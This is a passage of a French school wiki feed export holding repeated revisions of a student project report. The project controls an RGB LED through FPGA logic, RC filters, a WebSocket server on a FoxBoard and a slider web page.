On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]&lt;br /&gt;
Ainsi que les codes : [[Fichier:ProjetSC.zip]]&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20101</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20101"/>
				<updated>2015-04-16T13:32:02Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Installation : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
===Installation :=== &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:&lt;br /&gt;
Ainsi que les codes : [[Fichier:ProjetSC.zip]]&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:ProjetSC.zip&amp;diff=20100</id>
		<title>Fichier:ProjetSC.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:ProjetSC.zip&amp;diff=20100"/>
				<updated>2015-04-16T13:31:10Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : Codes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Codes&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20097</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20097"/>
				<updated>2015-04-16T13:21:56Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Prise en main : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
